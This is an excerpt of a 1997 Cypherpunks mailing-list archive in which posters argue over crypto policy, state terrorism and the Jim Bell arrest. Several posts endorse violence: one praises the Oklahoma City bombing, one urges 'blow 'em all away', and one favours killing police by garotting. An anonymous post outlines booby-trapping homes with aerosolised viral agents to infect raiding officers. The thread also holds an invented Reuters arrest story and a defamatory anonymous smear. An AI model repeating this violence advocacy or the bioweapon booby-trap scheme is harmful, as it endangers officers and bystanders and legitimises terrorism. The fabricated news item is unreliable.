reprogramming. My brother-in-law gave in to the inevitable and let his son
undergo indoctrination. I have a black t-shirt I ordered from an alt.drugs
ad: "D.A.R.E.  (in smaller letters below) I turned in my parents and all I
got was this lousy t-shirt." This gets a wonderful response when I wear it
in Santa Cruz (or to Cypherpunks meetings), but I had one mother come up to
me at a party and tell me she didn't like me wearing it when her
14-year-old son was present. I avoided saying "Fuck off," and instead told
her I'd wear what I wanted to wear.)

The total state also likes to see would-be spokesmen for liberty eventually
nudged (worn out?) toward adopting compromise positions. They become the
"capos" of the new regime, the trusties of the police state.

As a noted reporter and putative libertarian puts it: "Censor yourself or
the government will." (He admitted he didn't like making this argument, but
there it was.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 06:17:16 +0800
To: cypherpunks@algebra.com
Subject: Hey, what does this mean?
Message-ID: <v03007804afa7d8fc47e2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


Anybody know what this means?



ARLINGTON, Va. (Reuter) - David Aaron, a Special Ambassador to an
internationoal organization known as the OECD, has been arrested following
a pre-dawn raid on his home in the posh Lake Barcroft section of Arlington,
near Washington, D.C.

According to Arlington detective Tom DeGongue, Aaron was charged Monday in
Arlington Circuit Court with one felony count of possession of bomb-making
instructions and one misdemeanor count of resisting arrest. According to
DeGongue, there were indications found in the home that Aaron had also
talked about nuclear weapons and terrorism with others, which could open
the door for more charges to be filed.

Speaking for Mr. Aaron, his attorney Charles L. Klausen stated that the
alleged bomb-instructions were related to research Mr.Aaron had done for
novels about terrorists and nuclear weapons, including "State Scarlet" and
"Agents of Influence." "Mr. Aaron was legally entitled to read the
materials allegedly containing bomb-making instructions," said Mr. Clausen.
"In fact, the books seized and the tape-recordings of notes may also be
protected by the Special Rights of Journalists Act of 1986," he added.

Mr. Aaron could not be reached for comment. He was heard by several
witnesses, including memmbers of the tabloid community invited in by the
Arlington detectives, to say, "This is outrageous. I'm a well-respected
member of the Cosmos Club and the Bohemian Club! I am establishing the
world's crypto policy and I fly to capitals around the world. I'm not some
two-bit militia member like that guy arrested out in Portland for talking
about sabotaging computers! What do you think this is, Soviet Russia?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "de Wet Vorster" <a31952@magnfs10.eskom.co.za>
Date: Tue, 20 May 1997 21:44:34 +0800
To: <cypherpunks@toad.com>
Subject: Mixmaster@remail.obscura.com
Message-ID: <5BFF21D4BBC@magnfs10.eskom.co.za>
MIME-Version: 1.0
Content-Type: text/plain


Hi,
Is this remailer still operational ?

Will the following work ?

::
Request-Remailing-To:CRIMSTOP@MAGNFS10.eskom.co.za

Your help will be appreciated
de Wet Vorster
Eskom Corporate Investigations





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 21 May 1997 03:53:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The USA is the world's biggest terrorist state
Message-ID: <199705201930.MAA08122@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim may wrote:
>[much over-the-top exaggeration of the eevull you-ess gubmint 
> deleted, then he gets personal:] 

> I noticed with interest this morning that Peter Trei had an interesting
> thought experiment for implementing a variant of assassination politics.
> Interesting because not much more than a week or two ago Peter was making
> the point that I seemed to have gone off the deep end, or at least was no
> longer writing "thoughtful" essays and/or was not focussing on what he
> wanted to read about (a hopeless task, of course, to tune one's writings to
> the interests of others).

> Peter has now thrown in with the "let's see how AP might work." His
> variant, "Who do we want to see hit with a bus?," is of course essentially
> identical to AP.

No, it is not. The above paragraph totally misconstrues what I posted, 
and I am (again) putting it into the record with this post that I 
oppose all forms of premeditated killing.

What I posted was an idea for a POLL, nothing more. There was no
suggestion that of any kind of action or incentive - no advocacy
of murder, no anonymous cash, no payoffs, nothing. This is NOT 
'implementing a variant of assassination politics', and I take 
strong exception to your implication that I would support such 
a thing.

I really hate it when you misread, misconstrue, and misquote 
other people. You really seem to have a very tenuous love of truth
and accuracy when falsehood will serve your purpose better (if 
you think that sounds like the tactics of a certain large 
organization you dislike, you're right.)

Let's take just one paragraph from your latest screed. Can you back
up all or even most of the points in it? I don't think so. You wrote:

>The United States of America is the world's leading terrorist state.

Matter of opinion. I suspect that Libya, Iraq, and Iran are better
candidates. If you include internal terrorism, add China, North 
Korea, and many others ahead of the US.

>From mining harbors in countries with democratically elected
>governments... 

I've got only a quibble with this one. We did mine Managua, ie one
harbor in one country. While this was clearly unacceptable behaviour,
it does demonstrate your tendency to play fast and loose with 
numbers.

>...to financing the blowing up of airliners by dissident
>groups 

Really? Which ones? Be specific. Which airlines, which flights?
What were the circumstances in each case? You're using plurals 
again, so you'd better have multiple instances.

>...to assassinating dozens of leaders of countries the USA wished
>to shape in different directions, the USA is Terror State Numero Uno.

Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
exec order forbidding attacks against heads of state?

Tim, can you back up your words with facts, or are your recent 
posts "... full of sound and fury, signifying nothing."?

There are sufficient *real* problems with US policy that 
your exaggerations are counter-productive.

Peter Trei
Disclaimer: My posts represent my own opinions, no one elses. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 21 May 1997 00:23:33 +0800
To: cypherpunks@cyberpass.net>
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <ZuJ86D7w165w@bwalk.dm.com>
Message-ID: <199705201608.KAA28454@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970504:2140 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Remember: if you comment on the fact that one can't examine this
+product's source code for security holes, you'll get threatening
+letters from C2Net's lawyers: Helena Kobrin, Cantor, & Siegel.

    attila sez:

    well, as far as I am concerned, bully for Sameer's lawyers. anyone 
    who does not provide source code for an [in]security product, 
    particularly one based on an open source product HAS SOMETHING TO 
    HIDE.

    anyone who refuses to show his code not only has something to hide,
    but has probably SOLD OUT to our invasive creeping slime 
    non-representative government.  

    Bill Clinton had the audacity to say at UConn something to the 
    effect:  "...censorship [loss of freedoms] is the first step on the 
    road to tyranny...."  $%&* HYPOCRITE!

    lawyers are lawyers, they make great emergency rations, and they
    taste like chicken, really.

 ______________________________________________________________________

  Lord grant me the serenity to accept the things I cannot change;
    The courage to change the things I can;
      The weapons that make the difference;
        And the wisdom to hide the bodies of the people 
          I had to kill because they were in the way.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Charset: latin1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 21 May 1997 01:02:12 +0800
To: tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <199705201644.KAA00248@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    attila sez:

    as to trivializing tim may as to wine and for his comment below on 
    OKC, if the gubmit becomes a terrorist state (and who is to deny 
    that it is not, and has not been this century), then the terrorist 
    much expect retaliation.  

    The US in this century, at one point or another in time, has 
    destabilized 90%+ of the world governments, including the Labour
    Party in GB prior to Iron Maggie's rule (and if you want names of 
    the phony US Dept of State consular employees involved, a pointer 
    can be provided).

    turnabout will be increasingly fairplay.  certainly not by me --too 
    old and far too disinterested to waste energy on a foolish
    self-perpetuating fraud when the majority of ignorance prefers
    security over freedom.

    as for McVeigh: either there were a whole group of people involved 
    to be able to satchel the building columns, or the government was 
    the driving force.  and why was the *entire* ATF staff elsewhere?  

    OKC came at a perfect time to help Clintons' drive to push 
    anti-terrorist legislation to deny personal freedoms "...for the 
    common good."  draw your own conclusions; it's only history 
    repeating itself --noone listened the first couple hundred times.

    as for the great fairweather liberal bigot Blanc's passing it off 
    as tcm's drunken ramblings, I doubt it.  war is hell, and 
    "innocents" get wasted --but, a society at war has no innocents.  
    blow 'em all away.  scorched earth is inadequate; burnt earth is 
    more effective. if there are no prisoners, there are no 
    complainers.

    ___________________> 

on or about 970510:0906 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Blanc <blancw@cnw.com> writes:

+[Quoting Timmy May]
+> >Every day that passes, I'm more convinced that McVeigh did the right thing.
+> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
+>
+>
+> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
+> spend so much time writing sensible things of Truth & Light, if he thought
+> the better thing to do for achieving libertarian values was to kill so
+> indiscriminately with a bomb.    After all, he subscribes to utmost
+> discrimination.   So I think right now he's less in the engagement of
+> Reason and more under the influence of maybe some Bud Light.

+Everybody in that building was somehow affiliated with the gubmint.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 21 May 1997 01:14:35 +0800
To: "Timothy C. May" <dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <199705201701.LAA01248@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    attila sez:

    Dresden was probably the first highly visible of America's
    willingness to literally destroy civilian populations with the
    express intent of demoralizing a nation.  however, history seems
    to indicate in was a Churchillian "revenge" for the Blitz carried
    out by both British and American bombers --however, the latter
    were capable of greated payloads at greater range.  apparently
    the American bombers carried primarily heavy ordinance, the 
    British lit it up --however, the functions were probably mixed.

    Hiroshima may have been later, but Dresden set the stage. Hiroshime 
    undoubtedly saved hundreds of thousands of both US troops and 
    Japanese civilians from further war --the Emporer stepped in and 
    made the broadcast without the approval of the general staff 
    --basically, "enough is enough."  Dresden served virtually no 
    purpose on the German front --the war was over. Churchill and 
    Roosevelt approved Dresden for revenge; Truman just ended a war.

    Obliterating Iraq and continuing to grind the heel is just another 
    round of power politics and US Middle East foreign policy.  To the
    rest of the world, the US is a militaristic bully bent on economic
    advantage -- the old British lion reincarnated.

    government is its own end:  power corrupts, and absolute power 
    corrupts absolutely.  hasn't changed yet in history.  even the 
    greats, Solomon, David, etc. fell prey to the siren song of power;
    why should far more inferior men like Bubba, who has absolutely 
    nothing to his credit except deceit, be exempt?

    ________________________> 
     

on or about 970510:1312 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Tim May <tcmay@got.net> writes:

+> Innocents died in Dresden. No doubt compelling stories and images could be
+> dug up of little Frieda slowly suffocating as the firestorms sucked the air
+> out of her underground shelter, or of little Hans screaming for his mother
+> as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
+> admitted to be a  "public demonstration" of allied willingness to destroy
+> civilians in what was primarily a "cultural" city, not a significant center
+> of military production.

+Why go so far back?  How many civilians were murdered by the U.S.
+gubmint in Korea, in Viet Nam, in Panama, in Iraq?
 ______________________________________________________________________

  Lord grant me the serenity to accept the things I cannot change;
    The courage to change the things I can;
      The weapons that make the difference;
        And the wisdom to hide the bodies of the people 
          I had to kill because they pissed me off.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 21 May 1997 05:02:43 +0800
To: cypherpunks@algebra.com
Subject: Re: The USA is the world's biggest terrorist state
In-Reply-To: <199705201930.MAA08122@rigel.cyberpass.net>
Message-ID: <Pine.GSO.3.95.970520164846.8999C-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Peter Trei wrote:
> >...to assassinating dozens of leaders of countries the USA wished
> >to shape in different directions, the USA is Terror State Numero Uno.
> 
> Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
> exec order forbidding attacks against heads of state?

Ford, I believe.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 21 May 1997 08:02:57 +0800
To: cypherpunks@algebra.com
Subject: Poison Pill Defense
Message-ID: <199705202352.QAA28733@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



I hear from anonymous correspondents that the following
technique has been successfully deployed among some militia
members and cypherpunks who fear raids on their private
property.  Apparently the technique was originally invented
by a biotech lab that the FDA was planning to shut down in an
uncivil manner when Kessler first came to power.  The
lab was never raided.

Preliminary: choose a suitable viral agent.  This may range
from a short, severe flu to Eubola, depending on the level
of deterrence desired and safety precautions you have available.
Long-latency debilitating diseases have also been suggested
as an especially effective deterrent that puts the property
owner at less risk of detection.  The property owner must 
obtain both the agent and an effective vaccine.

Step one: immunize household members against this agent.

Step two: create "tamper avenging" packages around the
house.  Make them very suspicious looking (gun lockers, 
boxes labeled "Danger: Toxic Materials", file folders
labeled "Assassination Schedule for December", and so on).  
Don't put them where guests, pets, and so on can get to them, 
but in places where the thugs will look.

Step two (detail): the tamper avenging package contains an 
invisible film of the viral agent in fluid adsorbed to a suitable
carrier.  The carrier is a clear, thin film of sponge-like material that 
produces a fine aerosol of virus containing fluid drops when
disturbed.  When the package is opened and disturbed, the
aerosol quickly shoots and and spreads throughout several
surrounding cubic meters.  Persons unprotected by immunization
or breathing masks are contaminated with high probability.
I've heard unconfirmed rumors of a special sponge material
that lasts for days, infecting a variety of government personnel
and contractors who come in contact with the evidence, and
in some cases, depending on the particular vector,
people they in turn come in intimate contact with. 

Obviously I have not provided enough useful information
in this post to propery implement this technique.  Don't
try this at home without the help of paid professionals
(who I hear are making a killing now with the recent
spate of raids against militias, patriot groups, cypherpunks,
and so on).

Give me Liberty or Give me Death;
Johnny Appleseed





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Date: Wed, 21 May 1997 08:32:02 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Need some info...
In-Reply-To: <qFNy7D2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970520165518.17284D-100000@sdnpk.undp.org>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 19 May 1997, Dr.Dimitri Vulis KOTM wrote:

> "Wasim Q. Malik" <wmalik@sdnpk.undp.org> writes:
> 
> > Hi.
> > 
> > I'm gonna give a talk on the subject of hacking/security soon. Need your
> > help with it.
> > 
> > Things that I'm gonna include are: 
> > 	what is hacking, 
> > 	ethics of hacking,
> > 	psychlogy of hacking, 
> > 	other abstracts. 
> > 
> > 	Some technical stuff, such as hacking tools and tactics, including
> > 		IP spoofing,
> > 		packet sniffing,
> > 		cracker programs, 
> > 		keyloggers, 
> > 		progs like satan, etc.
> > 
> > 
> > Can you suggest some additional stuff to be included, or if you have any
> > resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
> > to any of the above topics, technical or whatever, please please do send
> > it over. 
> > 
> > Your suggestions will be a great help, as well as any info.
> > 
> > Thanks.
> > 
> > 
> > 
> > Wasim Q. Malik
> > Network Security Expert
> > SDNP Pakistan
> > 
> 
> is this going to be in NYC?  Can I come and listen?

Long way from NY - in Islamabad, Pakistan to be precise!
I'll send a summary on this list.
You can suggest any related topics to be included in the discussion, or
maybe point me to some material. Will be grateful.



Wasim Q. Malik
Network Security Expert
SDNP Pakistan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 21 May 1997 02:15:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007801afa63556053c@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970520170351.749B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> (Sadly, we now have several hundred thousand tyrants, mostly in Washington
> and state capitals, who have richly earned this fate...something the
> Founders would be screaming for action about.)

People forget quickly. I honestly believe that today people not only do 
not realise what is happening in the world around them, they really do 
not care. Most people I know are content just to make a buck and get on 
with it, without giving a thought to the rights they lose every day. 

I`m sure that public opinion in the UK is more this way than it is in 
the US, I may be wrong, however, the fact that I was told by a member 
of my immediate family a few days ago "You should be put in a lunatic 
asylum" because of my political views does not leave me with a good 
feeling about the general state of the population at large, still, it 
does leave me with a good feeling when people tell me "you are a danger 
to society" as they do not realise the compliment they are giving me! 
I truly wish I was of strong enough stuff to constitute a real danger...
I can honestly say that most people I speak with on a day to day basis 
would brand me a loon if they ever got into a proper political discussion 
with me. This is, of course, a sad state of affairs.

> >The feds may not be aware that the discussions on this list are usually of
> >a theoretical nature. Perhaps they decided to go after the
> >"co-conspirators". Like the anarchists in California with their AR-15's who
> >have so many mags that they can't even  remember where they all are. :-)

Hmm, I don`t think this is really relevant though, it makes no difference 
whether the discussions are theoretical or practical, they are still 
valid discussions.

> I've since found a dozen or so of these clips. Circumstances have motivated
> me to look through some of my packed boxes.

I could not begin to aspire to your collection of rifles and other 
defensive weapons Tim, but I too have been placing keys to my gun cabinet 
and shells in convenient places for quick access at one of those "4am 
black clad ninja just burst through my front door" moments.

> >The fact that Jim is held _without bail_ would indicate to me that there is
> >more going on than might meet the eye.
> >
> 
> Indeed. Lock and load.

Quite, does anyone here have a copy of the warrant they can post? - If I 
recall it was left closed? - I only have snatches of messages which 
mentioned poisons, anything else of interest on the list?

> We talk about the topics of interest to us. If the media characterizes us
> as "crazies" or "militia members," or as "terrorists," this is just par for
> the course. If, however, police departments and intelligence agencies mark
> us for harassment, arrest, prosecution, forfeiture of assets, etc., then
> this is what guns are for.

I`m starting to believe this suicidal course of action is the only 
justified one under the circumstance, however, I have always found guns a 
little impersonal, and favour garotting or disemboweling. YMMV.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 21 May 1997 09:18:18 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Digital signatures
In-Reply-To: <199705210010.UAA31584@dhp.com>
Message-ID: <Pine.A41.3.95.970520190437.27426E-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Embedded in Tim C[retin] May's babblings are preposterous lies, wild distortions, 
> child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, 
> and racial epithets.
> 
>       o/ Tim C[retin] May
>      <|
>      / >
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 11:06:46 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Jim Bell's legal defense fund
In-Reply-To: <199705210151.UAA14291@manifold.algebra.com>
Message-ID: <3.0.2.32.19970520194059.040d6e30@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:51 PM 5/20/97 -0500, Igor Chudov @ home wrote:
>Hi there,
>
>I do not know Jim Bell personally and am not sure how rich he is,
>but suspect that he might be in need of some funds in order to be
>properly represented by good attorneys.
>
>How about setting up his legal defense fund?

I have met him once.

He is not rich by any standards. (He lives with his parents.)

Sounds like s good idea.  He is going to need it.
 
---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 21 May 1997 08:26:59 +0800
To: cypherpunks@toad.com
Subject: Re: Digital signatures
Message-ID: <199705210010.UAA31584@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C[retin] May's babblings are preposterous lies, wild distortions, 
child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, 
and racial epithets.

      o/ Tim C[retin] May
     <|
     / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 21 May 1997 11:30:44 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970517183655.00867d60@mail.io.com>
Message-ID: <3.0.1.32.19970520201249.007327b8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:44 AM 5/18/97 +0100, Adam Back wrote:
>> I don`t recall what the situation is in the US, is it the case that
>> the provider of the information is guilty of export, or the person
>> that actually downloads it, if it is available via anonymous FTP???

>The downloader by definition is restricted by his own national laws
>not by US laws.  US attempted world policeman attitude does not mean
>that US laws apply outside the US, particularly not to non-US citizens
>outside the US.

They may apply to you anyway - they're not very enforceable if you're
outside US territory, though if you try to visit the US once they've
pegged you as a crypto-terrorist aider-and-abetter of drug smugglers,
money launderers, child pornographers, and Commies, they could give you
a hard time.  Just because you haven't been caught YET doesn't make you
innocent :-)  
Remember the Canadian author / Disney hero Farley Mowat?  
He once got annoyed enough at the US military for flying nuclear-armed
bombers over Canada that he shot at some as they crossed the border.
Sure, his .22 caliber rifle wasn't going to hit a plane at 30,000 feet,
and he was just making a political statement by it, but he was
banned from the US for years.

>Self appointed world policemen are fooling themselves if they think
>they have any control over bit flow.

As long as it keeps Americans from using strong crypto on an 
everyday basis, for everything, and from taking the attitude that
their privacy is their own business, it's working.
Doesn't matter if a few foreign spies can talk to each other.

>(Yeah, I know tell that to Noriega, but that was simple kidnap).
Different case - Noriega was on the CIA payroll, and he embarassed his
masters :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Wed, 21 May 1997 09:29:54 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /^\s*which\s+\S+\s*$/i at line 6 (fwd)
Message-ID: <199705210121.UAA13946@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sun May 18 16:04:30 1997
Date: Sun, 18 May 1997 16:04:27 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705182104.QAA32347@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /^\s*w-h-i--ch\s+\S+\s*$/i at line 6  

>From cpunks@manifold.algebra.com  Sun May 18 16:04:17 1997
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	Sun, 18 May 1997 13:58:05 -0700 (PDT)
Date: Sun, 18 May 1997 13:58:04 -0700 (PDT)
From: se7en <se7en@dis.org>
To: Cypherpunks <cypherpunks@toad.com>
Subject: Hacked, Trashed and Out of Beer
Message-ID: <Pine.BSI.3.91.970518135516.26216A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-cypherpunks@toad.com
Precedence: bulk


Well, I finally managed to catch up on all the email from this list, and 
managed to also get all of the hacked web sites thus far up on my web 
page at http://www.dis.org/se7en

w-h-i-c-h includes:

Amnesty International
Central Intelligence Agency
East Timor, Indonesia
Kriegsman Fur
NASA
U.K. Labour Party
U.S. Air Force
U.S. Department of Justice


se7en

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:17:40 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Lethality, guns, knives, & reality
Message-ID: <199705210126.UAA11333@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Forwarded message:

> Date: Tue, 20 May 1997 13:05:12 -0800
> From: Tim May <tcmay@got.net>
> Subject: Re: SIC SEMPER TYRANNIS

> Also, the "boiling a frog slowly" metaphor comes to mind...most people have
> little idea how the vise has tightened. And in the case of "gun rights,"
> most Americans are apparently of the opinion that their lives will be safer
> if all guns are banned.
> 
> (Which may be true, if _all_ guns were banned.

The last time I looked at the FBI stats on homicide deaths by beatings with
clubs, hands, and feet were much larger than homicides by gun or knife.


trivial dribble:

Nifty thing I found out today is that the cleaner that I use on my
whiteboard at work burns quite rapidly.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:12:17 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: In my opinion .... (fwd)
Message-ID: <199705210128.UAA11360@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Fount this interesting for traffic on a RPG ML...


                                               Jim Choate
                                               CyberTects
                                               ravage@ssz.com

Forwarded message:

> Date: Wed, 21 May 1997 11:29:50 +1000 (EST)
> From: Michael Solomani Mifsud <solomani@electric-rain.net>
> To: "traveller@MPGN.COM" <traveller@MPGN.COM>
> Subject: Re: In my opinion ....

> On Tue, 20 May 1997, Steve Brengard wrote:
> 
> > In my opinion I see 'offended' personalities as a sign the direction the World Community is headed, and it's a damn shame. I believe that most members of the list live and work within the national boundaries of the United States. Last time I checked, the constitution still protected the right of free speech. Every US citizen is entitled to free speech. If someone chooses to express there option, no matter if with taste or without, so be it. It is this same right that allows all of us to respond to such opinions. If you do not like a post or opinion, that great! If you like and support an opinion or post, that's great too!
> 
> No all are from the USA, I am from Australia, free speech is a privelage
> not a right and it can be revoked.  
> 
> Anyway as free speech pertains to this list, what you said means
> jack.
> 
> The list runs on a *private* server, therefore when you post to the
> server your using someone elses property with permission.  If that
> permission is withdrawn by the owner then you have no recourse.  Free
> speech is not pertinent unless the *owner* promotes it.  The owner can be
> as arbitary as s/he wishs with the rules of *his* list on *his* server.
> 
> God bless capatalism
> 
> 
> > 
> > But lets  be adults about it all. This liberalist  path the US has
> taken UPSETS  me. That's right, its getting so bad that no one can say
> anything without offending someone. Get over it. We all live in a world
> of differing opinions. You MUST accept that other have differing opinions
> then yours, and you MUST accept that they are entitled to their opinions. You may not agree with those opinions, but that simply does not invalidate them. 
> > 
> 
> This I agree with whole heartedly - down with political correctness!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:17:55 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The USA is the world's biggest terrorist state (fwd)
Message-ID: <199705210132.UAA11409@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Tue, 20 May 1997 16:49:34 -0400 (edt)
> From: Ryan Anderson <randerso@ece.eng.wayne.edu>

> On Tue, 20 May 1997, Peter Trei wrote:
> > >...to assassinating dozens of leaders of countries the USA wished
> > >to shape in different directions, the USA is Terror State Numero Uno.
> > 
> > Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
> > exec order forbidding attacks against heads of state?
> 
> Ford, I believe.

I would be interested in someones itemized list regarding this matter. In
particular I would be interested in the paper-trail of proof used in making
the assertions.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





